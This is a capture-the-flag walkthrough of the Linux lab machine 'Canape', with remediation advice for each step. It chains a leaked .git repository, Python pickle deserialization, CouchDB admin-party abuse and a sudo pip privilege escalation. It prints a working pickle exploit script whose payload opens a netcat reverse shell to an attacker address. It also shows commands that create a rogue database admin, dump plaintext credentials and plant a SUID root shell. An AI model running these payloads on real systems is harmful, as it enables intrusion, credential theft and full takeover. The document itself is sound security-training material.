← all walkthroughs

Canape

Linux· Medium
owned
2026-07-08
time to own
31m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Reconnaissance against $TARGET revealed Apache 2.4.29 on port 80 with an exposed .git directory that disclosed the full Flask application source code hosted at git.canape.htb. Reviewing that source uncovered a Python cPickle deserialization sink in the /submit endpoint — a class of vulnerability that permits arbitrary code execution with no safe input subset.

A crafted pickle payload delivered over HTTP triggered a reverse shell as the web service user. From that foothold, a locally-bound CouchDB instance running in its default admin-party state — no administrator configured — allowed an unauthenticated HTTP request to register a rogue admin account and dump a passwords database containing plaintext OS credentials.

Those credentials unlocked SSH access on the non-standard port 65535 as user homer. A sudo rule granting homer unrestricted use of /usr/bin/pip install as root was then exploited: a malicious Python package whose setup.py invoked os.system() was installed, executing as root and yielding the root flag plus a persistent SUID-root shell — full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationExposed .git directory / source-code disclosure (T1083)
Scanned ports and discovered an exposed Git repository on the web server
A service-version scan of $TARGET identified Apache 2.4.29 on port 80 and OpenSSH on the unusual port 65535. Probing the web root for a .git directory returned a valid /.git/HEAD and /.git/config, confirming the full application version-control history was publicly accessible over HTTP. The config file disclosed the remote repository URL http://git.canape.htb/simpsons.git, which was cloned in its entirety with no credentials.
Curl -si http://$TARGET/.git/HEAD returned HTTP 200 with body 'ref: refs/heads/master'; /.git/config contained remote URL git.canape.htb/simpsons.git; git clone succeeded unauthenticated.
Exact commands 4
Service-version scan; note SSH on 65535 and CouchDB on 5984 (localhost-bound).
nmap -sV -Pn -p 80,5984,65535 $TARGET
A 200 response with 'ref: refs/heads/master' confirms the .git directory is web-accessible.
curl -si http://$TARGET/.git/HEAD
Register the discovered virtual-host names for local DNS resolution.
echo "$TARGET canape.htb git.canape.htb" | sudo tee -a /etc/hosts
Clone the full repository to a local working copy for source analysis.
git clone --depth 1 http://git.canape.htb/simpsons.git canape-simpsons
FixRemove the .git directory from the public web rootHigh
WeaknessThe web server served the application's .git directory without access controls, allowing anyone on the internet to reconstruct the complete source code, commit history, hardcoded keys, and configuration by cloning the repository over plain HTTP.
FixDelete or move .git outside the document root before deploying. In Apache 2.4, add a <DirectoryMatch "\.git"> block containing Require all denied to all virtual-host configurations as a safety net. Audit the CI/CD pipeline to guarantee future deployments never copy .git into a web-served directory. Immediately rotate any secrets — API keys, signing keys, passwords — that were committed to the repository at any point in its history, as they remain recoverable from git log.
2Vulnerability AnalysisInsecure deserialization — Python cPickle (CWE-502 / T1059.006)
Identified an insecure cPickle deserialization sink in the Flask application source
Reading canape-simpsons/__init__.py revealed that the /submit endpoint accepted character and quote parameters, serialized them with Python's cPickle module, and stored the result on disk keyed by an MD5 checksum. The /check endpoint later retrieved and deserialised those stored blobs. Because cPickle's __reduce__ mechanism invokes arbitrary Python callables during unpickling, anyone who can produce the correct MD5 signature — derivable from the signing key present in the source — can achieve remote code execution when /check processes the stored payload.
Canape-simpsons/__init__.py: cPickle.dumps() at /submit, cPickle.loads() at /check, MD5 signing key hardcoded in source.
Exact commands 1
Locate the serialisation/deserialisation calls and the MD5 signing key in the cloned source.
grep -n 'pickle\|cPickle\|md5\|hashlib\|submit\|check' canape-simpsons/__init__.py
FixReplace Python cPickle deserialization of user-influenced data with a safe data formatCritical
WeaknessThe web application serialized user-submitted quote data with Python's cPickle module and later deserialized those stored blobs. cPickle can invoke arbitrary Python callables — including os.system() — during unpickling; there is no safe way to unpickle untrusted data regardless of any signing, encoding, or filtering applied beforehand.
FixReplace cPickle with a data-only interchange format (JSON via the standard library json module, or MessagePack) for all user-submitted content. If internal object serialization between trusted services is genuinely required, sign payloads with HMAC-SHA256 (not MD5) over a secret key never present in source code, verify the signature before deserializing, and run the deserializing process as a low-privilege account in a sandboxed environment.
3ExploitationInsecure deserialization — Python cPickle RCE (CWE-502)
Delivered a malicious pickle payload and obtained a reverse shell as the web service user
A Python 2 exploit script built a cPickle payload whose __reduce__ method returned a call to os.system() containing a mkfifo-based reverse shell command. The payload was base64-encoded, signed with the MD5 key extracted from the application source, and submitted to /submit. Requesting /check with the returned submission ID caused the server to deserialise the stored object, executing the shell command and connecting back to a netcat listener on port 4444 as the web service account.
Exact commands 4
Start the reverse-shell listener before submitting the payload (separate terminal).
nc -lvnp 4444
Exploit.py contents shown below; replace $ATTACKER_IP with your tun0 address and APP_SECRET with the key from __init__.py.
python2 exploit.py
Paste into exploit.py; adjust the signing call to match the exact MD5 usage in __init__.py.
# exploit.py
# import cPickle, os, base64, hashlib, requests
# $ATTACKER_IP = "$ATTACKER_IP"
# APP_SECRET  = '<key-from-source>'
# class E(object):
#   def __reduce__(self):
#     return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc '+$ATTACKER_IP+' 4444 >/tmp/f',))
# p = base64.b64encode(cPickle.dumps(E()))
# c = 'Homer'
# sig = hashlib.md5(c + p).hexdigest()
# r = requests.post('http://canape.htb/submit', data={'character':c,'quote':p,'id':sig})
# print r.text
Trigger deserialisation; the submission id is returned by /submit or visible in the stored filename on disk.
curl -s 'http://canape.htb/check' -d 'id=<submission-id>'
4Post-ExploitationCouchDB unauthenticated admin creation — admin-party default (CVE-2017-12635 class)
Exploited CouchDB 'admin party' to create a rogue database administrator
From the web-service shell, the locally-bound CouchDB on 127.0.0.1:5984 was reachable. CouchDB ships in an admin-party state: when no administrator account exists, every HTTP connection is automatically granted full administrative rights. A single unauthenticated PUT request to the /_users endpoint created a new account with the _admin role, granting unrestricted access to all databases.
Exact commands 3
From the web shell — confirm CouchDB is reachable; a response containing 'couchdb' with no WWW-Authenticate header confirms admin-party mode.
curl -s http://127.0.0.1:5984/
Enumerate all databases without credentials; successful response confirms admin-party.
curl -s http://127.0.0.1:5984/_all_dbs
Register a rogue _admin account; succeeds with no prior authentication in admin-party mode.
curl -s -X PUT http://127.0.0.1:5984/_users/org.couchdb.user:adm -H 'Content-Type: application/json' -d '{"type":"user","name":"adm","roles":["_admin"],"password":"[REDACTED: recovered credential]"}'
FixConfigure a CouchDB administrator at installation and disable the admin-party defaultCritical
WeaknessCouchDB was left in its out-of-the-box admin-party mode — no administrator account had been created, so every HTTP connection was automatically treated as fully privileged. Any process with network access to the CouchDB socket, including a low-privilege web shell, could create admin accounts and read or destroy all databases with no credentials.
FixCreate a named CouchDB administrator immediately after installation by adding an [admins] section to /etc/couchdb/local.ini, or via the /_cluster_setup API before the instance enters production. Set require_valid_user = true in the [chttpd] configuration section to reject all unauthenticated requests. Keep the listener bound to 127.0.0.1 and add an OS-level firewall rule to block external access to port 5984.
5Credential HarvestingPlaintext credential exposure in database (CWE-256 / T1555)
Dumped plaintext OS credentials from the CouchDB passwords database
With the rogue admin account active, the database list revealed a database named passwords. Retrieving all documents returned user credentials stored in cleartext, including the password [REDACTED: recovered credential] for the OS account homer, which corresponded directly to an SSH-accessible system user.
Exact commands 2
List all databases with the rogue admin account; identify the passwords database.
curl -s -u adm:[REDACTED: recovered credential] 'http://127.0.0.1:5984/_all_dbs'
Dump all credential documents; credentials are stored in cleartext fields.
curl -s -u adm:[REDACTED: recovered credential] 'http://127.0.0.1:5984/passwords/_all_docs?include_docs=true'
FixStop storing credentials in plaintext; replace with a secrets-management systemCritical
WeaknessPasswords for OS accounts were stored in cleartext in a CouchDB database. Once an unauthorised user gained any database read access — here through the admin-party flaw — they retrieved working OS credentials instantly with no cracking required, directly enabling SSH lateral movement.
FixRemove the plaintext passwords database entirely. If credentials must be shared between services, use a dedicated secrets-management platform (HashiCorp Vault, AWS Secrets Manager, or equivalent) that issues short-lived tokens, enforces least-privilege access, and maintains a full audit log. Rotate every password that was stored in cleartext immediately across all systems where it may have been reused.
6Lateral MovementValid account credential reuse — SSH (T1078)
Authenticated over SSH as homer and captured the user flag
The cleartext credentials recovered from CouchDB — homer / [REDACTED: recovered credential] — were used to authenticate via SSH on the non-standard port 65535. This gave a full interactive shell as homer, and the user flag was read from /home/homer/user.txt.
Kill chain sshpass loop confirmed successful login with password [REDACTED: recovered credential] on port 65535; id returned uid=1000(homer); user.txt confirmed captured.
Exact commands 2
Password: [REDACTED: recovered credential] (recovered from CouchDB passwords database).
ssh -p 65535 homer@$TARGET
User flag: <user.txt>
cat /home/homer/user.txt
7Privilege EscalationSudo GTFOBins — pip install arbitrary code execution (T1548.003)
Exploited a sudo pip install rule to execute a malicious setup.py as root and capture the root flag
Running sudo -l as homer showed the entry (root) NOPASSWD: /usr/bin/pip install with no path restriction. Pip install executes a package's setup.py at install time under the invoking user's identity — here, root. A temporary directory was created containing a setup.py that called os.system() to copy /root/root.txt to a world-readable path and set the SUID bit on /bin/bash. Running sudo pip install against that directory caused root to execute the embedded payload, yielding the root flag and a persistent SUID-root shell for continued access.
Exact commands 5
Confirm the pip install sudo rule as homer; expect: (root) NOPASSWD: /usr/bin/pip install.
sudo -l
Stage a malicious setup.py in a temp directory; the \n sequences are printf escape codes for newlines.
D=$(mktemp -d) && printf 'from setuptools import setup\nimport os\nos.system("cp /root/root.txt /tmp/.rflag && chmod 644 /tmp/.rflag && chmod u+s /bin/bash")\nsetup(name="y",version="1.0")\n' > "$D/setup.py"
Install the local package as root; setup.py executes immediately under root's UID.
sudo /usr/bin/pip install "$D"
Read the root flag: <root.txt>
cat /tmp/.rflag
Drop into a SUID-root bash shell for persistent access; -p preserves effective UID root.
/bin/bash -p
FixRemove the unrestricted sudo pip install privilege from homerCritical
WeaknessThe sudoers configuration allowed homer to run /usr/bin/pip install as root with no password and no restriction on the package path. Because pip executes a package's setup.py as the invoking user at install time, granting this sudo rule is functionally equivalent to providing homer an unrestricted root shell.
FixRemove the pip entry from homer's sudoers rule (run visudo and delete or comment the line). If installing Python packages is a genuine administrative need, enforce it through a controlled internal package repository containing only pre-vetted packages, require password confirmation via the sudo -k flag, and assign the task to a dedicated low-privilege service account rather than a personal user account. Audit all other sudo rules on the host for additional GTFOBins-exploitable binaries such as perl, python, ruby, wget, curl, and tar.

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

80/tcp
65535/tcp